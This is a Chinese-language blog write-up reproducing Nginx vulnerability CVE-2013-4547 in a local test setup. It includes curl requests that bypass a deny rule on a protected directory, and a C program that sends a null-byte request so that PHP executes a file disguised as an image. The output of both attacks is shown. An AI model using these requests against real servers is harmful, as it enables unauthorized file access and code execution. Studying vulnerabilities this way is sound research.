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Nginx漏洞CVE-2013-4547复现

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Jun 23, 2016 pm 01:12 PM

每一个漏洞的面世都是软件开发者的无意和黑客/白客的有意的共同结晶，它们之中大多数的诞生都是在某位或某几位程序猿经历千辛万苦，体验重重空虚寂寞冷之后的产物，以至于每一个漏洞都是如此的身价不菲。能与这些高富帅们勾搭上是我一直以来的梦想，可惜当前能力和时间有限，只能拔一拔它们的裤腿，瞅准了一把抱住，再深情的来一句：土豪，我们做朋友吧。

今天出场的这位高富帅是CVE-2013-4547，属于Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本中存在的安全漏洞，可以看到其影响面非常大，不愧为土豪大佬的身份。具体来说是Nginx程序验证包含未转义空格字符的请求URIs时存在逻辑错误，远程攻击者可以利用该漏洞绕过既定的配置限制，导致信息泄露、系统文件被修改、性能下降或中断资源访问。

漏洞危害利用是黑客针对软件的瑕疵，构造异常的运行环境，让软件的瑕疵暴露出来，从而获取非法利益。我个人认为漏洞危害利用有三个要素：

1，软件存在漏洞（瑕疵）：所有软件都会有漏洞，如果没有漏洞，那说明还没发现，如果还足够称得上是软件的话。

2，构造漏洞暴露的条件：这个条件的构造应该是非常苛刻的，非常难的，如果很容易，那可能需要考虑一下，这个是否是后门，而不是漏洞。或者，好吧，也许真有这种情况，毕竟现在在培训学校里学习三天就开始写软件的人也有大把。

3，不当得利：我有八字真言：“玩玩而已，何必当真。”，一般人我不告诉他，得此精髓的人都被关在小黑屋里捡肥皂去了。

不说废话，下面看看如何借助CVE-2013-4547来干些坏事。纯理论学习啊，后果自负啊！说说可以啊，不要动手啊！

第一部分：信息泄漏，即通过该漏洞访问保护的文件。1，首先得找个有该漏洞的Nginx WebServer，我这里在CentOS 6.2环境下随便安装一个吧，

[root@localhost gqk]# tar xf nginx-1.4.0.tar.gz[root@localhost gqk]# cd nginx-1.4.0[root@localhost nginx-1.4.0]# ./configure --with-debug --without-http_rewrite_module[root@localhost nginx-1.4.0]# make & make install

configure的选项没什么特别的，加上debug只是方便调试，去除rewrite_module是因为我现在的环境没有pcre库，因为不影响这个漏洞，所以直接去掉了。

2，启动Nginx看看是否基本ok

[root@localhost nginx-1.4.0]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf

通过wget访问http://127.0.0.1

[root@localhost nginx-1.4.0]# wget –debug http://127.0.0.1

嗯，ok。

3，构造环境

根据注1的介绍，

a)我们需要修改Nginx配置文件，增加一个保护目录，该目录不让用户访问：

location /protected/ {        deny all;    }

修改了配置，所以需要重启Nginx：/usr/local/nginx/sbin/nginx -s reload

ｂ)需要web目录下有一个带有空格的文件夹：

[root@localhost html]# ls -F50x.html  dir1/  dir 2/  dir3 /  index.html  protected/[root@localhost html]# ls protectedsec.html

为了对比测试，我建立了四个文件夹（注意上面第一条命令，我给ls加了-F参数，所以如果是文件夹，它会在后面带上斜杠）：

dir1：没有任何空格

“dir 2″：中间有个空格

“dir3 “：末尾有个空格

protected：保护目录，同时该目录下还有个sec.html的文件

c)构造请求构造的请求uri里的空格不能被编码，而浏览器或wget都会自动把空格编码为%20，因此我改用curl。

4，对比测试a)直接请求sec.html，当然是被拒绝的，因为我们配置了保护protected目录的策略：

[root@localhost ~]# curl "http://127.0.0.1/protected/sec.html"<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1 id="Forbidden">403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>1b)构造特殊请求：1[root@localhost ~]# curl http://127.0.0.1/dir1/../protected/sec.html<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1 id="Forbidden">403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>[root@localhost ~]# curl "http://127.0.0.1/dir 2/../protected/sec.html"<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1 id="Forbidden">403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>[root@localhost ~]# curl "http://127.0.0.1/dir3 /../protected/sec.html"<h1>This is a secret document.<h1/>

看到了吗？第三个构造的请求成功突破Nginx的保护策略而获取到被保护目录下的文件内容。

5，实际可应用程度

从上面的描述可以看到，要触发这个漏洞需要好几个条件：

a)Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本。这个容易有，毕竟涉及的版本有这么多。

b)需要WebServer管理员对目录的保护采用这种普通字符匹配的策略，如果是其他保护策略（比如^~或~*），则条件满足失败。因特网站点千千万万，通过搜索肯定还是有这样配置的Nginx WebServer站点。

c)需要文件名末尾带有空格的文件夹，其他形式失败。怎么做？通过WebServer里站点提供的上传服务（如果有的话），上传对应的文件夹或压缩文件（如果服务器有提供解压功能）到服务器，然后期望服务器存储时没有对上传文件进行重命名而保留了空格。这个，有点难，现在的Web应用应该都会对高危文件（上传文件）做处理，比如改名是起码的。但是，慢慢的抠吧，成功就在不远处，如你的女神一般，永远那么飘渺。。。不过，也有逆袭的，是吧。。。

第二部分：未授权执行，即让Php引擎执行非php文件。

1，根据注1的内容，上面介绍的只是CVE-2013-4547的其中一个应用，即查看保护数据。而CVE-2013-4547的另外一个应用是恶意脚本非法执行，下面以php脚本为例，具体来看。

配置Nginx+Php环境，Php现在很流行。

下载php源码进行安装

[root@localhost gqk]# tar xf php-5.5.33.tar.bz2[root@localhost gqk]# cd php-5.5.33[root@localhost php-5.5.33]# ./configure --enable-fpm[root@localhost php-5.5.33]# make[root@localhost php-5.5.33]# make install

注意configure带的选项，需要打开fpm，如果要开启其他功能，比如mysql，请使用–with-mysql=…选项。所有选项可以通过configure的–help查看。准备配置文件：

[root@localhost php-5.5.33]# cp php.ini-production /usr/local/etc/php.ini[root@localhost php-5.5.33]# mv /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf[root@localhost php-5.5.33]# php-fpm[root@localhost php-5.5.33]# netstat -natp | grep 9000

如果可以grep到对应的php-fpm进程，说明php安装初步ok了。

需要重新编译Nginx，让它支持PCRE。

首先从http://www.pcre.org/下载pcre-8.38.tar.gz，然后三板斧./configure & make & make install安装。

如果后门Nginx出现找不到pcre库的报错，比如：

/usr/local/nginx/sbin/nginx: error while loading shared libraries: libpcre.so.1: cannot open shared object file: No such file or directory

那么可能需要在PCRE的configure时指定lib目录到/usr/lib64：

./configure –prefix=/usr –libdir=/usr/lib64

其次，重新编译Nginx就是在configure时不要带上–without-http_rewrite_module。修改Nginx配置文件，加上PHP支持：

location ~ \.php$ {    root html;    fastcgi_pass 127.0.0.1:9000;    fastcgi_index index.php;    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;    include fastcgi_params;}

最后，写个简单的test.php测试一下，

访问确保php正常解析。

2，构造环境

a)在默认配置下，Php-fpm只让php引擎执行php后缀的文件，因此第一个条件是要修改配置文件

/usr/local/etc/php-fpm.conf

把里面的limit_extensions设置为空。

; Note: set an empty value to allow all extensions.; Default Value: .phpsecurity.limit_extensions =

b)在web目录下新增一个文件”cve.jpg “（注意这是一个末尾带有空格的文件），内容为php代码：

<?phpecho "Illegal execution.";?>

c)我们构造一个伪造请求，请求的地址为”/cve.jpg \0.php”，注意两点：

i)其中的空格没有编码

ii)\0是一个字符，是零，是字符串的结束字符。

3，测试

伪造请求，因为我们要伪造的请求里包含有字符串的结束字符\0，因此curl命令貌似是不能用了，至少我暂时是还不知道怎么传递这个\0给curl命令，可能有办法，需要查手册。

不过因为我之前研究Nginx时，写过这样的Http请求代码来调试Nginx逻辑，所以先直接用这个可行的办法，代码如下：

/** * gcc -Wall -g -o bogus_request bogus_request.c */#include <sys/types.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <unistd.h>char req_header[] = "GET /cve.jpg \0.php HTTP/1.1\r\nUser-Agent: curl/7.19.7\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";#define MAX_DATA_LEN (1024)char res_data[MAX_DATA_LEN];int main(int argc, char *const *argv){      int sockfd;      struct sockaddr_in server_addr;      if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1) {             fprintf (stderr, "Socket error,%s\r\n", strerror (errno));             return -1;      }          bzero (&server_addr, sizeof (server_addr));      server_addr.sin_family = AF_INET;      server_addr.sin_port = htons (80);          if(!inet_aton("127.0.0.1", &server_addr.sin_addr)) {             fprintf (stderr, "Bad address:%s\r\n", strerror (errno));             close (sockfd);             return -1;      }          if (connect (sockfd, (struct sockaddr *) (&server_addr),             sizeof (struct sockaddr)) == -1) {             fprintf (stderr, "Connect Error:%s\r\n", strerror (errno));             close (sockfd);             return -1;      }          write (sockfd, req_header, sizeof(req_header) - 1);	  	  for (;;) {             read (sockfd, res_data, MAX_DATA_LEN);             printf ("res:%s", res_data);      }      close (sockfd);      return 0;}

编译执行看结果：

[root@localhost ~]# gcc -Wall -g -o bogus_request bogus_request.c -O0[root@localhost ~]# ./bogus_request res:HTTP/1.1 200 OKServer: nginx/1.4.0Date: Wed, 23 Mar 2016 10:04:42 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.3312Illegal execution.0

可以看到我们成功利用漏洞欺骗Nginx误以为”cve.jpg \0.php”是一个Php脚本而传递给Php-fpm的Php引擎进行执行，而Php引擎在查找定位文件”cve.jpg \0.php”时又被\0截断，导致最终执行的脚本文件是”cve.jpg “。

4，实际可应用程度因为同样要构造文件名末尾带空格的文件，因此这个漏洞其实难以被真正利用。原因在前面提到过了，不再多说。不过这只是Linux下的情况，那Windows环境下又如何呢？

第三部分：Windows环境

这个漏洞在Windows环境下的利用价值就大大增强了，因为漏洞利用的前置条件”文件名末尾带空格的文件”不再需要。Windows下的API在读取文件时，会自动忽略对应文件名后的空格，也就是：

read “a.txt ” -> 实际读取的是文件”a.txt”

write “b.txt ” -> 实际写的是文件”b.txt”

下面是测试代码（VC6下测试，注2）：

#include "stdafx.h"#include <windows.h> int main(int argc, char* argv[]){	HANDLE hFile = CreateFile("a.txt ",GENERIC_WRITE|GENERIC_READ, 0,		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 	if (hFile ==INVALID_HANDLE_VALUE) {		printf("openfailed!");	} else {		printf("fileopened");	}	CloseHandle(hFile);	return 0;}

注意程序里用的是”a.txt “，而我们准备一个”a.txt”文件在对应路径下，上面的代码也可以正常打开，输出”fileopened”。事实上，在Windows的文件管理里，新建文件时，在文件名后带上空格，敲回车后生成的新文件文件名是没有带空格的，即被自动过滤掉了。也许就是和上面同样的原因。

正因为在Windows下去掉了这个最困难的前置条件，所以该漏洞的可利用程度就大大提高了。

第四部分：Nginx相关漏洞代码分析暂略，不想写了，囧。

注1：http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html?_ga=1.47291106.451110384.1458696222注2：http://drops.wooyun.org/tips/2006

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